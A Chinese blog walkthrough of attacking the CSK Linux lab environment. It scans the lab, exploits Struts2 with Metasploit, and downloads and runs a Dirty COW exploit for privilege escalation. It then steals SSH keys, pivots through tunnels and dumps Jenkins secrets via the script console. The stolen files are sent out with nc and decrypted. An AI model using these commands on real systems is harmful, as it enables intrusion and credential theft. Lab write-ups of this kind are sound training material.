攻击CSK靶机环境并学习linux渗透思路
CATALOG
前言
这边篇文章主要在于学习linux横向渗透,csk是一个靶机环境,具体参考Linux 横向移动实验。
环境配置
第一步:配置vmware的vmnet8的dhcp
sudo nano /Library/Preferences/VMware\ Fusion/networking
进入后修改vmnet8的hostnoly_netmak为172.16.250.0
第二步:下载csk靶机
https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip
第三步:打开靶机
靶机账号密码为:hacker/changeme
靶机环境网络拓扑图如下:
172.16.250.10 后面我会称为.10
172.16.250.50 后面我会称为.50
172.16.250.30 后面我会称为.30
开始攻击
第一步:扫描
- 探测端口:
nmap 172.16.250.0/24
- 探测主机操作系统
nmap -O 172.16.250.0/24
经过上面的得知172.16.250.10的8080端口开放的是tomcat
80端口是csk这个应用并发现其使用的是opencms10.5
访问一下struts2-showcase路径,看是否成功:
由此确定使用struts2并且是struts2 showcase,msf上可以利用这个漏洞。
第二步:利用漏洞获得shell
- 通过msf利用漏洞
直接search struts2即可,然后找到要利用的exp并使用,经测试0号与1号exp都可以使用
第三步:提权
利用脏牛漏洞。由于这时候我们得到的shell不是tty类型的,改为tty使得shell更加稳定。执行命令
python3 -c "import pty;pty.spawn('/bin/bash')"
即可。
提权操作过程:
- 找到有可写可执行权限的文件夹:
由于现在是tomcat权限,不能下载到当前目录,我们去tmp目录即可,为什么去tmp目录呢,因为我们使用ls -l命令查看各个目录的权限,发现tmp目录是所有用户都是可读可写可执行:
d开头代表是文件夹,-开头代表普通文件,剩下九个字母分为三组,分别对应拥有者权限,拥有者用户的组内其他用户的权限,其他用户的权限
- 下载脏牛并执行
curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c > test.c
gcc -Wall -o test123 test.c -ldl -lpthread
./test123
- 保持利用稳定
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
第四步:进一步信息收集获取第二台主机.30的权限
我们需要获取csk这个网站的配置信息,经过长时间的信息收集我们发现配置文件在/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
里面。这时候我们将其下载到本机桌面,使用meterpreter里面的download命令。
发现里面有一条数据库登陆的信息:
由此推断出另一台主机172.16.250.50
接下来看看一些敏感文件:
cat ~/.bash_history#查看root的历史操作记录发现有利用rsa密钥登陆.30机器的行为
cat ~/.ssh/id_rsa #查看ssh私钥
将这个私钥文件下载到本地然后用ssh连接,即可登陆.30机器。
ssh -i miyao root@172.16.250.30
发现8080端口开放并且有一个名为jenkins的用户,因此尝试访问.30的8080端口的jenkins服务。
第五步:进一步利用.30
配置socks5达到内网穿透
首先我们先访问一下172.16.250.30:8080,发现无法访问:
这时候给浏览器配置上刚弄的socks5代理:
这时候发现可以访问了:
如何利用msf配置socks可查看这篇博客:利用msf进行后渗透中常见的知识点
配置端口转发达到内网穿透
配置端口转发操作可查看:利用msf进行后渗透中常见的知识点
portfwd add -l 1234 -r 172.16.250.30 -p 8080
#将远程的172.16.250.30的8080端口转发到本地的1234端口。
直接在本地访问127.0.0.1:1234发现可以访问
msf端口转发不够稳定,这时候可以使用frp进行端口转发,frp用法请参考:frp用法
破解jenkins密码
下载破解密码所需的三个文件
我们发现db_backup用户,联想到之前信息收集过程中发现的.50机器有数据库服务,说不定可以通过此db_backup来登陆上去。
点击箭头所指的图标:
按f12然后更改html中表单的属性password为空即可暴露出密码。
访问/jenkins/script/console目录,使用
println(hudson.util.Secret.fromString("{密码}").getPlainText())
将x改为密码即可,如下图所示:
发现失败了,这时候换一种方法。
转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。
println(“cat /home/jenkins/credentials.xml”.execute().text)
println(“cat /home/jenkins/secrets/master.key”.execute().text)
println(“cat /home/jenkins/secrets/hudson.util.Secret”.execute().text)
由于是乱码用不了,所以需要用nc命令将文件传输到本地。具体做法是先利用之前得到的ssh密钥文件配合proxychains登陆到.30主机上,然后利用nc命令将/home/jenkins/secrets/hudson.util.Secret文件传送到本地。如下图:
- 登陆.30
- 传输文件
root@jenkins:/home/jenkins/secrets# nc 10.92.78.137 9999 < hudson.util.Secret
root@jenkins:/home/jenkins/secrets# nc 10.92.78.137 9999 < master.key
root@jenkins:/home/jenkins# nc 10.92.78.137 9999 < credentials.xml
下载解密脚本
git clone https://github.com/cheetz/jenkins-decrypt.git
python3 decrypt.py master.key hudson.util.Secret credentials.xml
可以用pip3 install -r requirements.txt 安装需要的库文件。
然后使用这个密码)uDvra{4UL^;r?*h
来登陆.50机器。
登陆.50
由于其属于sudo组我们可以尝试使用sudo su命令看能否提权:
提权成功
更多推荐
所有评论(0)